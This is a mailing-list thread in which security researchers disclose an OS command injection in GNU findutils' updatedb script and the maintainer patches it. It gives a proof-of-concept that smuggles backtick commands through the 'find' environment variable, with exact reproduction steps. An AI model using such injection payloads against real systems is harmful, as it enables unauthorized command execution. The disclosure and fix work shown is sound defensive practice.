Hello Bernhard,
Thank you for pushing the fix. Since the fix is up I will inform CNA regarding 
this issue.
Regards,
—
Michał Majchrowicz / Offensive Security Engineer / PhD eWPTX
PGP: D52A 5289 8256 006D 5E05 BAC6 79EA 0072 F4E1 9D57

AFINE sp. z o.o.
Al. Jerozolimskie 146C, 02-305 Warszawa
https://www.afine.com <https://www.afine.com/>

> Wiadomość napisana przez Bernhard Voelker <[email protected]> w dniu 
> 29 kwi 2026, o godz. 01:21:
> 
> Hi Michal,
> 
> On 4/27/26 08:50, Michał Majchrowicz wrote:
>>> Wiadomość napisana przez Bernhard Voelker <[email protected]> w dniu 
>>> 26 kwi 2026, o godz. 22:38:
>>> On 4/26/26 14:25, Michał Majchrowicz wrote:
>>>> Hello,
>>>> We would like to report a security vulnerability in GNU findutils that 
>>>> allows
>>>> arbitrary command execution through environment variable injection in the
>>>> updatedb script.
>>>> =================================================================
>>>> SUMMARY
>>>> =================================================================
>>>> Product:    GNU findutils
>>>> Component:  locate/updatedb.sh  (installed as <prefix>/sbin/updatedb)
>>>> Commit:     34929da6 (current HEAD at time of discovery)
>>>> Type:       OS Command Injection
>>>> CWE:        CWE-78: Improper Neutralization of Special Elements
>>>>             used in an OS Command ('OS Command Injection')
>>>> Affected:   All versions shipping the current updatedb.sh
>>>> =================================================================
>>>> VULNERABILITY DETAILS
>>>> =================================================================
>>>> The updatedb script exposes two internal variables — `find` and `frcode` —
>>>> that users can override via environment variables. These variables hold 
>>>> paths
>>>> to the `find` and `frcode` binaries that updatedb invokes internally.
>>>> The script validates each binary path with the helper function 
>>>> checkbinary():
>>>>     checkbinary () {
>>>>         if test -x "$1" ; then
>>>>             : ok
>>>>         else
>>>>           eval echo "updatedb needs to be able to execute $1, but cannot." 
>>>> >&2
>>>>           exit 1
>>>>         fi
>>>>     }
>>>>     for binary in $find $frcode
>>>>     do
>>>>       checkbinary $binary
>>>>     done
>>>> Two weaknesses combine to allow command injection:
>>>>   1. The loop `for binary in $find $frcode` is unquoted. When $find 
>>>> contains
>>>>      backtick sequences, they survive word-splitting as a single token and
>>>>      are passed as the argument $1 to checkbinary().
>>>>   2. Inside checkbinary(), the call to `eval echo "...execute $1..."` 
>>>> causes
>>>>      the shell to re-parse the double-quoted string. Backtick command
>>>>      substitutions embedded in $1 are executed by the `eval` at this point.
>>>> The `eval` here is entirely unnecessary: the function is only printing an
>>>> error message and no shell word-expansion of the message text is required.
>>>> =================================================================
>>>> AFFECTED CODE
>>>> =================================================================
>>>> File: locate/updatedb.sh
>>>>   Line 217-218 (environment variable overrides):
>>>>     : ${find:=${BINDIR}/@find@}
>>>>     : ${frcode:=${LIBEXECDIR}/@frcode@}
>>>>   Line 241-248 (checkbinary — vulnerable function):
>>>>     checkbinary () {
>>>>         if test -x "$1" ; then
>>>>             : ok
>>>>         else
>>>>           eval echo "updatedb needs to be able to execute $1, but cannot." 
>>>> >&2
>>>>           exit 1
>>>>         fi
>>>>     }
>>>>   Line 250-253 (invocation — unquoted variables):
>>>>     for binary in $find $frcode
>>>>     do
>>>>       checkbinary $binary
>>>>     done
>>>> =================================================================
>>>> EXPLOITATION STEPS
>>>> =================================================================
>>>> Prerequisites: the attacker can set environment variables visible to the
>>>> updatedb process (e.g. a misconfigured cron job, a SUID wrapper, or a
>>>> local user on a shared system).
>>>> Step 1:  Identify the path to the updatedb binary:
>>>>            which updatedb   # typically /usr/sbin/updatedb or 
>>>> /usr/bin/updatedb
>>>> Step 2:  Craft a payload.  The token must contain no whitespace so that it
>>>>          survives the unquoted word-split in the `for` loop.  Any shell
>>>>          command without spaces is usable.  Examples:
>>>>            find='`touch /tmp/PWNED`x'
>>>>            find='`id>/tmp/id.txt`x'
>>>>          The trailing `x` makes the full token a non-existent path, 
>>>> ensuring
>>>>          that test -x "$1" returns false and the eval branch is reached.
>>>> Step 3:  Run updatedb with the malicious variable set:
>>>>            find='`touch /tmp/PWNED`x' frcode='x' bash /path/to/updatedb 
>>>> 2>&1
>>>> Step 4:  Execution trace:
>>>>            a) ${find:=...}  is skipped because find is already set
>>>>            b) for binary in $find  →  binary = `touch /tmp/PWNED`x
>>>>            c) checkbinary $binary  →  $1 = `touch /tmp/PWNED`x
>>>>            d) test -x "`touch /tmp/PWNED`x"  →  returns false (path absent)
>>>>            e) eval echo "...execute `touch /tmp/PWNED`x..."
>>>>               →  shell expands backtick → touch is executed → /tmp/PWNED 
>>>> created
>>>> =================================================================
>>>> REPRODUCTION
>>>> =================================================================
>>>> The following commands reproduce the issue on a clean build of the
>>>> current HEAD on an x86_64 Linux system.
>>>>   # Build from source (standard steps)
>>>>   git clone https://git.savannah.gnu.org/git/findutils.git
>>>>   cd findutils
>>>>   ./bootstrap
>>>>   ./configure
>>>>   make
>>>>   # Remove any previous evidence
>>>>   rm -f /tmp/PWNED
>>>>   # Run the exploit
>>>>   find='`touch /tmp/PWNED`x' frcode='x' bash locate/updatedb 2>&1
>>>>   # Confirm command execution
>>>>   ls -la /tmp/PWNED
>>>> Expected output: /tmp/PWNED exists, confirming that the `touch` command
>>>> inside the backtick sequence was executed by eval.
>>>> =================================================================
>>>> SUGGESTED FIX
>>>> =================================================================
>>>> Remove the `eval` keyword from checkbinary().  It serves no purpose beyond
>>>> enabling the injection — the function only needs to print a plain string:
>>>>   Before:
>>>>     eval echo "updatedb needs to be able to execute $1, but cannot." >&2
>>>>   After:
>>>>     echo "updatedb needs to be able to execute $1, but cannot." >&2
>>>> This one-character change eliminates the injection vector entirely.
>>>> The message text is printed verbatim without any shell re-parsing.
>>>> After applying the patch above and re-running the exploit,the command
>>>> inside the backtick sequence is no longer executed and /tmp/PWNED
>>>> is not created.  The script still prints the expected error:
>>>>   updatedb needs to be able to execute `touch /tmp/PWNED`x, but cannot.
>>>> =================================================================
>>>> CREDITS
>>>> =================================================================
>>>> This issue was identified by Michał Majchrowicz and Marcin Wyczechowski,
>>>> members of the AFINE Team.
>>>> =================================================================
>>>> DISCLOSURE POLICY
>>>> =================================================================
>>>> We follow a 90-day coordinated disclosure policy.  We will publish the
>>>> details of this vulnerability 90 days after the date of this report,
>>>> or earlier if a fix is released publicly before that deadline.
>>>> We are happy to coordinate the disclosure timeline with you and to delay
>>>> publication if a fix is imminent.
>>>> Please let us know if you have any questions or require additional 
>>>> information.
>>>> Regards,
>>>> —
>>>> *Michał Majchrowicz* / Offensive Security Engineer / PhD eWPTX
>>>> PGP: D52A 5289 8256 006D 5E05 BAC6 *79EA 0072 F4E1 9D57*
>>>> *AFINE sp. z o.o.*
>>>> Al. Jerozolimskie 146C, 02-305 Warszawa
>>>> https://www.afine.com <https://www.afine.com>
>>> <0001-updatedb-properly-quote-variables-and-avoid-redundan.patch>
> >>
> >> Hi Michal,
> >>
> >> thanks for the report.
> >>
> >> Indeed, the non-quoting and the use of eval is quite weak in updatedb.
> >> The whole handling of the variables like $NETPATHS, $FINDOPTIONS and 
> >> $print_option gives me goosebumps.
> >> I'll fix at least the ones you reported with the attached patch.
> >>
> >> FWIW, trying the reproducer leads to a shell syntax error:
> >>
> >>  $ find='`touch /tmp/PWNED`x' frcode='x' bash locate/updatedb
> >>  locate/updatedb: eval: line 245: unexpected EOF while looking for 
> >> matching ``'
> >>
> >> ... instead of the creation of the /tmp/PWNED witness file.
> >>
> >> Have a nice day,
> >> Berny
> >>
> > Hello Bernhard,
> > Yes you are right it won’t work as a manual command (I was testing from a 
> > script) as earlier
> > for iterates over all white spaces. You can reproduce it manually using 
> > this cmd:
> > find='`id>/tmp/PWNED_eval_injection`x' frcode='x' bash ./locate/updatedb 
> > 2>&1
> > Your patch also correctly fixes the issue.
> > Regards,
> 
> Thanks for the review, pushed at:
>  https://cgit.git.savannah.gnu.org/cgit/findutils.git/commit/?id=722c98ed390f
> 
> Have a nice day,
> Berny
> <0001-updatedb-properly-quote-variables-and-avoid-redundan.patch>

Attachment: signature.asc
Description: Message signed with OpenPGP

  • Re: [Securi... Bernhard Voelker
    • Re: [S... Michał Majchrowicz via Bug reports for the GNU find utilities

Reply via email to